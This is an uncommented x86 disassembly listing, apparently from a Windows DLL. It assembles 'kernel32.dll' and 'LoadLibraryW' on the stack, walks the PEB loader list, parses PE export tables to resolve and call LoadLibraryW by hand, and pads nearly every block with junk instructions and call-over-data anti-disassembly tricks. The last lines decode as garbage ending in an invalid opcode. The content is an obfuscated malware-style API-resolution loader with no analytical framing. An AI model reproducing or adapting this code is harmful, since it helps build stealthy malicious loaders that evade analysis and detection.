push edi
push eax
add esp, 4
xor edi, 0xec00
pop edi
push ecx
jmp 0x100066c4
pop ecx
cmp dword [ebp - 0x398], 0
jne 0x10006fde
mov edx, 0x6b
mov word [ebp - 0x1ac8], dx
mov eax, 0x65
mov word [ebp - 0x1ac6], ax
mov ecx, 0x72
mov word [ebp - 0x1ac4], cx
mov edx, 0x6e
mov word [ebp - 0x1ac2], dx
mov eax, 0x65
mov word [ebp - 0x1ac0], ax
mov ecx, 0x6c
mov word [ebp - 0x1abe], cx
mov edx, 0x33
mov word [ebp - 0x1abc], dx
mov eax, 0x32
mov word [ebp - 0x1aba], ax
mov ecx, 0x2e
mov word [ebp - 0x1ab8], cx
mov edx, 0x64
mov word [ebp - 0x1ab6], dx
mov eax, 0x6c
mov word [ebp - 0x1ab4], ax
mov ecx, 0x6c
mov word [ebp - 0x1ab2], cx
xor edx, edx
mov word [ebp - 0x1ab0], dx
push edi
and edi, 0x161ee
add edi, 0x173d2
or edi, 0x142d3
pop edi
push ebx
push esi
add esp, 4
add ebx, 0xb4b5
pop ebx
push edx
push edi
add esp, 4
and edx, 0xa133
add edx, 0x11237
pop edx
mov byte [ebp - 0xb0c], 0x4c
mov byte [ebp - 0xb0b], 0x6f
mov byte [ebp - 0xb0a], 0x61
mov byte [ebp - 0xb09], 0x64
mov byte [ebp - 0xb08], 0x4c
mov byte [ebp - 0xb07], 0x69
mov byte [ebp - 0xb06], 0x62
mov byte [ebp - 0xb05], 0x72
mov byte [ebp - 0xb04], 0x61
mov byte [ebp - 0xb03], 0x72
mov byte [ebp - 0xb02], 0x79
mov byte [ebp - 0xb01], 0x57
mov byte [ebp - 0xb00], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x2690], eax
mov ecx, dword [ebp - 0x2690]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x2694], edx
mov eax, dword [ebp - 0x2694]
mov dword [ebp - 0x18f8], eax
push ebx
and ebx, 0x2072
or ebx, 0x9a99
or ebx, 0xaa8e
and ebx, 0x1919
pop ebx
push edx
push esi
add esp, 4
and edx, 0x142a2
and edx, 0x10cc1
and edx, 0xad27
pop edx
cmp dword [ebp - 0x18f8], 0
jne 0x10006869
mov dword [ebp - 0x870], 0
jmp 0x10006b25
mov ecx, dword [ebp - 0x18f8]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xea4], eax
push ebx
push ebx
add esp, 4
or ebx, 0xf311
pop ebx
push ecx
add ecx, 0x13140
xor ecx, 0xd0b7
xor ecx, 0x71c2
and ecx, 0x15ec3
pop ecx
push eax
push ecx
add esp, 4
or eax, 0x1254b
pop eax
cmp dword [ebp - 0xea4], 0
jne 0x100068c5
mov dword [ebp - 0x870], 0
jmp 0x10006b25
mov ecx, dword [ebp - 0xea4]
mov dword [ebp - 0x5c8], ecx
push edi
push ebx
add esp, 4
call 0x100068e6
add byte [esi + 0x45], al
inc edi
inc edi
dec edi
dec eax
xor eax, dword [ecx + 0x32]
add esp, 4
call 0x100068f9
add byte [edx + 0x32], cl
xor al, 0x4a
push eax
cmp dword [edx + 0x43], eax
aas
dec eax
add esp, 4
and edi, 0x50e0
pop edi
lea edx, [ebp - 0x1ac8]
mov dword [ebp - 0xea0], edx
mov eax, dword [ebp - 0x5c8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xe9c], ecx
xor edx, edx
mov word [ebp - 0x268], dx
xor eax, eax
mov word [ebp - 0x13c], ax
push ebx
and ebx, 0x4967
sub ebx, 0x4514
sub ebx, 0x14ef
pop ebx
push edi
push edi
add esp, 4
and edi, 0x9c0a
add edi, 0x7054
add edi, 0x102c3
sub edi, 0x132e1
pop edi
mov ecx, dword [ebp - 0xe9c]
mov dx, word [ecx]
mov word [ebp - 0x12b2], dx
mov eax, dword [ebp - 0xe9c]
add eax, 2
mov dword [ebp - 0xe9c], eax
mov cx, word [ebp - 0x12b2]
mov word [ebp - 0x268], cx
mov edx, dword [ebp - 0xea0]
mov ax, word [edx]
mov word [ebp - 0x12b4], ax
mov ecx, dword [ebp - 0xea0]
add ecx, 2
mov dword [ebp - 0xea0], ecx
mov dx, word [ebp - 0x12b4]
mov word [ebp - 0x13c], dx
push edx
or edx, 0xfb99
and edx, 0x17072
and edx, 0xf2fc
pop edx
push edi
push esi
add esp, 4
and edi, 0xa6e
sub edi, 0x13112
and edi, 0xb985
xor edi, 0x135a
pop edi
movzx eax, word [ebp - 0x13c]
test eax, eax
jne 0x10006a11
movzx ecx, word [ebp - 0x268]
movzx edx, word [ebp - 0x13c]
sub ecx, edx
mov dword [ebp - 0x1900], ecx
jmp 0x10006a74
movzx eax, word [ebp - 0x268]
movzx ecx, word [ebp - 0x13c]
cmp eax, ecx
je 0x10006930
movzx edx, word [ebp - 0x268]
xor edx, 0x20
movzx eax, word [ebp - 0x13c]
cmp edx, eax
je 0x10006930
movzx ecx, word [ebp - 0x268]
movzx edx, word [ebp - 0x13c]
cmp ecx, edx
jge 0x10006a5e
mov dword [ebp - 0x18fc], 0xffffffff
jmp 0x10006a68
mov dword [ebp - 0x18fc], 1
mov eax, dword [ebp - 0x18fc]
mov dword [ebp - 0x1900], eax
cmp dword [ebp - 0x1900], 0
jne 0x10006abd
push ecx
push ebx
add esp, 4
xor ecx, 0xf25
or ecx, 0x17cdc
add ecx, 0x5566
pop ecx
push ecx
or ecx, 0x36df
and ecx, 0x10820
xor ecx, 0xc0ea
xor ecx, 0x2209
pop ecx
mov ecx, dword [ebp - 0x5c8]
mov dword [ebp - 0x870], ecx
jmp 0x10006b25
push edi
xor edi, 0x495c
add edi, 0xed66
or edi, 0x10e6b
xor edi, 0x7b8f
pop edi
push edi
push esi
add esp, 4
add edi, 0x130d6
pop edi
push eax
push eax
add esp, 4
add eax, 0xeed9
pop eax
mov edx, dword [ebp - 0x5c8]
mov eax, dword [edx]
mov dword [ebp - 0x5c8], eax
mov ecx, dword [ebp - 0x5c8]
cmp ecx, dword [ebp - 0xea4]
je 0x10006b1b
mov edx, dword [ebp - 0x5c8]
cmp dword [edx + 0x30], 0
jne 0x100068d1
mov dword [ebp - 0x870], 0
push edx
push edi
add esp, 4
add edx, 0xaca7
add edx, 0x13d00
sub edx, 0x64c5
and edx, 0x1f81
pop edx
push ebx
and ebx, 0xe49b
pop ebx
push esi
push edi
add esp, 4
sub esi, 0x83dc
pop esi
cmp dword [ebp - 0x870], 0
jne 0x10006ba1
push esi
sub esi, 0x13049
or esi, 0xf3b5
xor esi, 0x846e
add esi, 0x96c2
pop esi
push esi
push edi
add esp, 4
call 0x10006b8e
add byte [esi], bh
dec ebx
xor eax, 0x4a4a3440
aaa
add esp, 4
pop esi
mov dword [ebp - 0x8bc], 0
jmp 0x100076dd
push edi
jmp 0x10006ba8
and edi, 0x4e77
pop edi
push edx
call 0x10006bbe
add byte [eax + 0x37], al
xor edx, dword [eax + 0x49]
inc eax
dec edx
xor eax, dword [ebx + 0x9e804c4]
add byte [eax], al
add byte [eax], al
inc ebp
xor eax, 0x4142423c
xor al, 0x38
add esp, 4
pop edx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x880], 0
mov edx, dword [ebp - 0x428]
mov dword [ebp - 0x1904], edx
cmp dword [ebp - 0x1904], 0
jne 0x10006c12
mov eax, dword [ebp - 0x880]
mov dword [ebp - 0x48c], eax
jmp 0x10006f03
mov ecx, dword [ebp - 0x1904]
mov edx, dword [ebp - 0x428]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1908], edx
jne 0x10006c3a
mov eax, dword [ebp - 0x880]
mov dword [ebp - 0x48c], eax
jmp 0x10006f03
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1908]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x190c], ecx
cmp dword [ebp - 0x190c], 0
jne 0x10006c6c
mov edx, dword [ebp - 0x880]
mov dword [ebp - 0x48c], edx
jmp 0x10006f03
mov eax, dword [ebp - 0x428]
add eax, dword [ebp - 0x190c]
mov dword [ebp - 0x874], eax
jne 0x10006c91
mov ecx, dword [ebp - 0x880]
mov dword [ebp - 0x48c], ecx
jmp 0x10006f03
mov edx, dword [ebp - 0x874]
mov eax, dword [ebp - 0x428]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x2698], eax
mov ecx, dword [ebp - 0x874]
mov edx, dword [ebp - 0x428]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x269c], edx
mov eax, dword [ebp - 0x874]
mov ecx, dword [ebp - 0x428]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x26a0], ecx
mov dword [ebp - 0x878], 0
jmp 0x10006ceb
mov edx, dword [ebp - 0x878]
add edx, 1
mov dword [ebp - 0x878], edx
mov eax, dword [ebp - 0x874]
mov ecx, dword [ebp - 0x878]
cmp ecx, dword [eax + 0x18]
jae 0x10006ef7
mov edx, dword [ebp - 0x878]
mov eax, dword [ebp - 0x2698]
mov ecx, dword [ebp - 0x428]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x87c], ecx
mov edx, dword [ebp - 0x878]
mov eax, dword [ebp - 0x269c]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x26a0]
mov eax, dword [ebp - 0x428]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x26a4], eax
mov dword [ebp - 0x1d8], 0
jmp 0x10006d5b
mov ecx, dword [ebp - 0x1d8]
add ecx, 1
mov dword [ebp - 0x1d8], ecx
mov edx, dword [ebp - 0x87c]
add edx, dword [ebp - 0x1d8]
movsx eax, byte [edx]
test eax, eax
je 0x10006e0d
mov ecx, dword [ebp - 0x1d8]
movsx edx, byte [ebp + ecx - 0xb0c]
test edx, edx
je 0x10006e0d
push ecx
call 0x10006d98
add byte [ebx], dh
dec esi
inc ebp
dec ebp
inc edi
cmp dword [ecx + 0x45], ecx
cmp byte [ebx - 0x3e7efb3c], al
mov al, byte [0x59000063]
push ebx
push eax
add esp, 4
add ebx, 0x158ab
or ebx, 0x4cc
xor ebx, 0x8bcf
pop ebx
mov eax, dword [ebp - 0x87c]
add eax, dword [ebp - 0x1d8]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1d8]
movsx eax, byte [ebp + edx - 0xb0c]
cmp ecx, eax
je 0x10006dff
mov ecx, dword [ebp - 0x87c]
add ecx, dword [ebp - 0x1d8]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x1d8]
movsx ecx, byte [ebp + eax - 0xb0c]
cmp edx, ecx
jne 0x10006e06
jmp 0x10006d4c
jmp 0x10006e0d
push ebx
push edi
add esp, 4
or ebx, 0xf737
or ebx, 0xf26f
xor ebx, 0x24f5
pop ebx
push ecx
sub ecx, 0xf5d9
call 0x10006e3b
add byte [0x4d493c46], dh
xor al, 0x4e
dec esp
add esp, 4
pop ecx
mov edx, dword [ebp - 0x87c]
add edx, dword [ebp - 0x1d8]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x1d8]
movsx edx, byte [ebp + ecx - 0xb0c]
cmp eax, edx
jne 0x10006e6c
mov dword [ebp - 0xea8], 0
jmp 0x10006edb
push ebx
push ecx
add esp, 4
xor ebx, 0x4be6
xor ebx, 0x120c0
and ebx, 0x11cba
or ebx, 0x464
pop ebx
push esi
add esi, 0xac15
and esi, 0x1460c
or esi, 0x4a1e
pop esi
mov eax, dword [ebp - 0x87c]
add eax, dword [ebp - 0x1d8]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x1d8]
movsx eax, byte [ebp + edx - 0xb0c]
or eax, 0x20
cmp ecx, eax
jge 0x10006ed1
mov dword [ebp - 0xea8], 0xffffffff
jmp 0x10006edb
mov dword [ebp - 0xea8], 1
cmp dword [ebp - 0xea8], 0
jne 0x10006ef2
mov ecx, dword [ebp - 0x26a4]
mov dword [ebp - 0x48c], ecx
jmp 0x10006f03
jmp 0x10006cdc
mov edx, dword [ebp - 0x880]
mov dword [ebp - 0x48c], edx
cmp dword [ebp - 0x48c], 0
je 0x10006fde
push ebx
push edx
add esp, 4
or ebx, 0x9456
add ebx, 0x11a79
or ebx, 0xc944
call 0x10006f36
add byte [0x463b5038], dh
cmp al, 0x42
inc edx
inc edx
add esp, 4
pop ebx
push edi
or edi, 0x17196
pop edi
mov eax, dword [ebp - 0x48c]
mov dword [ebp - 0x26a8], eax
push ebx
xor ebx, 0x2e4a
or ebx, 0x1a02
pop ebx
push edi
push ebx
add esp, 4
sub edi, 0x101d4
pop edi
push esi
push edx
add esp, 4
and esi, 0x1811d
sub esi, 0x17a3c
and esi, 0xcd65
pop esi
mov ecx, dword [ebp - 0x26a8]
mov dword [ebp - 0x26ac], ecx
lea edx, [ebp - 0x1a68]
push edx
call dword [ebp - 0x26ac]
test eax, eax
jne 0x10006fde
push edi
sub edi, 0x19b1
sub edi, 0x11f41
or edi, 0x162a6
pop edi
push edi
push edi
add esp, 4
and edi, 0x4f1f
or edi, 0xe085
add edi, 0x9536
or edi, 0x113d3
pop edi
mov dword [ebp - 0x8bc], 0
jmp 0x100076dd
push edi
and edi, 0x1374a
and edi, 0x1207e
pop edi
push ecx
xor ecx, 0x17df6
call 0x10007000
add byte [ecx], bh
xor dh, byte [ebx]
aas
aas
dec esp
inc edi
add esp, 4
add ecx, 0x531e
add ecx, 0x182d7
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x26b0], eax
mov ecx, dword [ebp - 0x26b0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x26d0], edx
mov eax, dword [ebp - 0x26d0]
mov dword [ebp - 0x1910], eax
push esi
xor esi, 0x12be5
xor esi, 0x4fff
pop esi
push eax
push ecx
add esp, 4
xor eax, 0xa16
pop eax
push eax
jmp 0x10007059
xor eax, 0xeef4
jmp 0x10007068
pop eax
cmp dword [ebp - 0x1910], 0
jne 0x10007081
mov dword [ebp - 0x398], 0
jmp 0x1000733d
mov ecx, dword [ebp - 0x1910]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xeb4], eax
push ecx
jmp 0x1000709a
add ecx, 0x749b
pop ecx
push ecx
push esi
add esp, 4
add ecx, 0xc2a3
add ecx, 0x6887
call 0x100070c1
add byte [ecx + 0x35], cl
cmp ecx, dword [ecx + 0x48]
dec edi
xor eax, 0xc483454b
add al, 0x59
cmp dword [ebp - 0xeb4], 0
jne 0x100070dd
mov dword [ebp - 0x398], 0
jmp 0x1000733d
mov ecx, dword [ebp - 0xeb4]
mov dword [ebp - 0x5cc], ecx
push edx
xor edx, 0x14d32
pop edx
push esi
push edx
add esp, 4
sub esi, 0x118a3
sub esi, 0xe63d
pop esi
push edx
call 0x10007111
add byte [ebx + 0x36], cl
cmp eax, 0x4637483a
add esp, 4
xor edx, 0xa03b
pop edx
lea edx, [ebp - 0x1a68]
mov dword [ebp - 0xeb0], edx
mov eax, dword [ebp - 0x5cc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xeac], ecx
xor edx, edx
mov word [ebp - 0x26c], dx
xor eax, eax
mov word [ebp - 0x140], ax
push edi
sub edi, 0x42b3
xor edi, 0x5ca3
or edi, 0x6987
pop edi
push eax
push esi
add esp, 4
jmp 0x10007167
pop eax
push ebx
push ecx
add esp, 4
or ebx, 0x14e2a
or ebx, 0xbf78
pop ebx
mov ecx, dword [ebp - 0xeac]
mov dx, word [ecx]
mov word [ebp - 0x12b6], dx
mov eax, dword [ebp - 0xeac]
add eax, 2
mov dword [ebp - 0xeac], eax
mov cx, word [ebp - 0x12b6]
mov word [ebp - 0x26c], cx
mov edx, dword [ebp - 0xeb0]
mov ax, word [edx]
mov word [ebp - 0x12b8], ax
mov ecx, dword [ebp - 0xeb0]
add ecx, 2
mov dword [ebp - 0xeb0], ecx
mov dx, word [ebp - 0x12b8]
mov word [ebp - 0x140], dx
push edx
add edx, 0x16461
or edx, 0x13493
jmp 0x100071e7
and edx, 0x10970
pop edx
push ebx
push esi
add esp, 4
or ebx, 0xaaf5
and ebx, 0x16b2b
jmp 0x10007205
pop ebx
movzx eax, word [ebp - 0x140]
test eax, eax
jne 0x10007229
movzx ecx, word [ebp - 0x26c]
movzx edx, word [ebp - 0x140]
sub ecx, edx
mov dword [ebp - 0x1918], ecx
jmp 0x1000728c
movzx eax, word [ebp - 0x26c]
movzx ecx, word [ebp - 0x140]
cmp eax, ecx
je 0x10007148
movzx edx, word [ebp - 0x26c]
xor edx, 0x20
movzx eax, word [ebp - 0x140]
cmp edx, eax
je 0x10007148
movzx ecx, word [ebp - 0x26c]
movzx edx, word [ebp - 0x140]
cmp ecx, edx
jge 0x10007276
mov dword [ebp - 0x1914], 0xffffffff
jmp 0x10007280
mov dword [ebp - 0x1914], 1
mov eax, dword [ebp - 0x1914]
mov dword [ebp - 0x1918], eax
cmp dword [ebp - 0x1918], 0
jne 0x100072d5
push eax
push ecx
add esp, 4
and eax, 0x1089
pop eax
push edi
push ecx
add esp, 4
jmp 0x100072ac
sub edi, 0xfb54
add edi, 0x12ee3
pop edi
push ecx
and ecx, 0x14119
and ecx, 0xf4f9
pop ecx
mov ecx, dword [ebp - 0x5cc]
mov dword [ebp - 0x398], ecx
jmp 0x1000733d
push eax
push esi
add esp, 4
jmp 0x100072df
jmp 0x100072e8
or eax, 0x12dae
pop eax
push esi
push edi
add esp, 4
add esi, 0x418c
add esi, 0x102cb
and esi, 0x10687
pop esi
mov edx, dword [ebp - 0x5cc]
mov eax, dword [edx]
mov dword [ebp - 0x5cc], eax
mov ecx, dword [ebp - 0x5cc]
cmp ecx, dword [ebp - 0xeb4]
je 0x10007333
mov edx, dword [ebp - 0x5cc]
cmp dword [edx + 0x30], 0
jne 0x100070e9
mov dword [ebp - 0x398], 0
push edi
add edi, 0xb8e8
jmp 0x1000734c
jmp 0x10007352
pop edi
push edx
sub edx, 0x1596b
sub edx, 0x40aa
pop edx
push edi
jmp 0x10007368
and edi, 0x172a4
pop edi
mov eax, dword [ebp - 0x398]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x3ac], ecx
push edi
jmp 0x10007388
jmp 0x10007391
sub edi, 0x17be4
pop edi
push ecx
call 0x100073a6
add byte [ebx + 0x3a], al
cmp byte [ebx + 0x34], cl
dec ebx
xor eax, 0x8104c483
int1
int 0x57
add byte [eax], al
pop ecx
mov dword [ebp - 0x890], 0
mov edx, dword [ebp - 0x3ac]
mov dword [ebp - 0x191c], edx
cmp dword [ebp - 0x191c], 0
jne 0x100073e0
mov eax, dword [ebp - 0x890]
mov dword [ebp - 0x5d0], eax
jmp 0x100076d1
mov ecx, dword [ebp - 0x191c]
mov edx, dword [ebp - 0x3ac]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1920], edx
jne 0x10007408
mov eax, dword [ebp - 0x890]
mov dword [ebp - 0x5d0], eax
jmp 0x100076d1
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1920]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1924], ecx
cmp dword [ebp - 0x1924], 0
jne 0x1000743a
mov edx, dword [ebp - 0x890]
mov dword [ebp - 0x5d0], edx
jmp 0x100076d1
mov eax, dword [ebp - 0x3ac]
add eax, dword [ebp - 0x1924]
mov dword [ebp - 0x884], eax
jne 0x1000745f
mov ecx, dword [ebp - 0x890]
mov dword [ebp - 0x5d0], ecx
jmp 0x100076d1
mov edx, dword [ebp - 0x884]
mov eax, dword [ebp - 0x3ac]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x26d4], eax
mov ecx, dword [ebp - 0x884]
mov edx, dword [ebp - 0x3ac]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x26d8], edx
mov eax, dword [ebp - 0x884]
mov ecx, dword [ebp - 0x3ac]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1f3c], ecx
mov dword [ebp - 0x888], 0
jmp 0x100074b9
mov edx, dword [ebp - 0x888]
add edx, 1
mov dword [ebp - 0x888], edx
mov eax, dword [ebp - 0x884]
mov ecx, dword [ebp - 0x888]
cmp ecx, dword [eax + 0x18]
jae 0x100076c5
mov edx, dword [ebp - 0x888]
mov eax, dword [ebp - 0x26d4]
mov ecx, dword [ebp - 0x3ac]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x88c], ecx
mov edx, dword [ebp - 0x888]
mov eax, dword [ebp - 0x26d8]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x1f3c]
mov eax, dword [ebp - 0x3ac]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x1f40], eax
mov dword [ebp - 0x1dc], 0
jmp 0x10007529
mov ecx, dword [ebp - 0x1dc]
add ecx, 1
mov dword [ebp - 0x1dc], ecx
mov edx, dword [ebp - 0x88c]
add edx, dword [ebp - 0x1dc]
movsx eax, byte [edx]
test eax, eax
je 0x100075db
mov ecx, dword [ebp - 0x1dc]
movsx edx, byte [ebp + ecx - 0x9c0]
test edx, edx
je 0x100075db
push ecx
push edx
add esp, 4
sub ecx, 0x2e21
pop ecx
push ecx
or ecx, 0xa073
xor ecx, 0x1568e
xor ecx, 0x10a7c
pop ecx
push ecx
push eax
add esp, 4
sub ecx, 0x150b1
and ecx, 0x2328
pop ecx
mov eax, dword [ebp - 0x88c]
add eax, dword [ebp - 0x1dc]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1dc]
movsx eax, byte [ebp + edx - 0x9c0]
cmp ecx, eax
je 0x100075cd
mov ecx, dword [ebp - 0x88c]
add ecx, dword [ebp - 0x1dc]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x1dc]
movsx ecx, byte [ebp + eax - 0x9c0]
cmp edx, ecx
jne 0x100075d4
jmp 0x1000751a
jmp 0x100075db
push esi
sub esi, 0x140c0
call 0x100075f2
add byte [edi + 0x44], cl
dec edi
xor eax, 0x383a3d35
inc edx
cmp byte [ebx + 0x535e04c4], al
push edi
add esp, 4
xor ebx, 0xcbbb
jmp 0x10007606
or ebx, 0xb935
pop ebx
mov edx, dword [ebp - 0x88c]
add edx, dword [ebp - 0x1dc]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x1dc]
movsx edx, byte [ebp + ecx - 0x9c0]
cmp eax, edx
jne 0x1000763a
mov dword [ebp - 0xeb8], 0
jmp 0x100076a9
push edi
push eax
add esp, 4
and edi, 0x1398a
xor edi, 0x935
or edi, 0xeb28
or edi, 0xdf98
pop edi
push eax
and eax, 0x18066
add eax, 0x140d0
add eax, 0xbe08
pop eax
mov eax, dword [ebp - 0x88c]
add eax, dword [ebp - 0x1dc]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x1dc]
movsx eax, byte [ebp + edx - 0x9c0]
or eax, 0x20
cmp ecx, eax
jge 0x1000769f
mov dword [ebp - 0xeb8], 0xffffffff
jmp 0x100076a9
mov dword [ebp - 0xeb8], 1
cmp dword [ebp - 0xeb8], 0
jne 0x100076c0
mov ecx, dword [ebp - 0x1f40]
mov dword [ebp - 0x5d0], ecx
jmp 0x100076d1
jmp 0x100074aa
mov edx, dword [ebp - 0x890]
mov dword [ebp - 0x5d0], edx
mov eax, dword [ebp - 0x5d0]
mov dword [ebp - 0x8bc], eax
push ecx
push eax
add esp, 4
jmp 0x100076e7
pop ecx
push edx
push ecx
add esp, 4
or edx, 0x4f9d
call 0x10007702
add byte [eax + 0x34], cl
inc edx
inc eax
aaa
inc ebx
aaa
cmp dword ds:[ebx + 0x7eb04c4], eax
inc edx
inc edx
dec ebx
dec esi
cmp byte ds:[edx - 0x75], bl
lea ebp, [ebx + edi*8 - 1]
inc dword [ebx - 0x7276f13f]
je 0x100076fc
invalid